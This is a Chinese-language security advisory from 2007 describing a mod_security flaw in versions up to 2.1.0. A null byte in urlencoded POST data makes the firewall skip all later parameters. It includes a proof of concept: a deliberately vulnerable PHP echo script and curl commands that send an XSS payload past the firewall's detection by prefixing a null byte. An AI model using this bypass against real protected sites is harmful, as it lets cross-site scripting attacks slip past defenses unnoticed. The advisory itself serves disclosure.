Mod_Security ASCIIZ字节绕过安全限制漏洞
发布日期:2007-03-06
更新日期:2007-03-08
受影响系统:Breach Security mod_security <= 2.1.0
描述:
BUGTRAQ  ID: 
22831
mod_security是经常与PHP结合使用的Web应用防火墙。
mod_security在处理特定的HTTP数据时存在漏洞,远程攻击者可能利用此漏洞绕过某些安全限制。
在接收到请求后mod_security会将其解析成为Web应用参数。由于解析入站数据的方式遵循RFC中所定义的规则而不一定是Perl、Python、Java或PHP中的HTTP请求解析器所兼容的方式,因此如果RFC与实际实现方式不匹配时可能存在一些限制绕过漏洞。
其中一种不匹配情况是处理application/x-www-form-urlencoded内容类型的POST数据中ASCIIZ字节的方式。由于mod_security将这种类似的POST数据处理为C字符串,因此不会对第一个ASCIIZ字节后的数据进行任何处理,因为mod_security认为这已是数据的尽头。这允许攻击者轻易的绕过规则限制,攻击受保护的站点。
<*来源:Stefan Esser (
s.esser@ematters.de)
  
  链接:
http://www.php-security.org/MOPB/BONUS-12-2007.html
        http://secunia.com/advisories/24373/
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
将以下PHP脚本拷贝到受跨站脚本影响的web根目录下:
<?php
  if (isset($_POST['var'])
    echo($_POST['var']);
?>
使用类似于以下的命令调用:
$ echo -e "&var=<script>alert(/xss/);</script>" > postdata
$ curl 
http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent
<script>alert(/xss/);</script>
在error.log中应看到一行显示检测到了可能的跨站脚本攻击。
现在嵌入ASCIIZ字节执行同样的操作。
$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata
$ curl 
http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent
<script>alert(/xss/);</script>
这时error.log中不会有任何日志消息,因为mod_security无法看到ASCIIZ字节之后的变量参数。
建议:
厂商补丁:
Breach Security
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.modsecurity.org/index.php浏览次数:3878
严重程度:0(网友投票)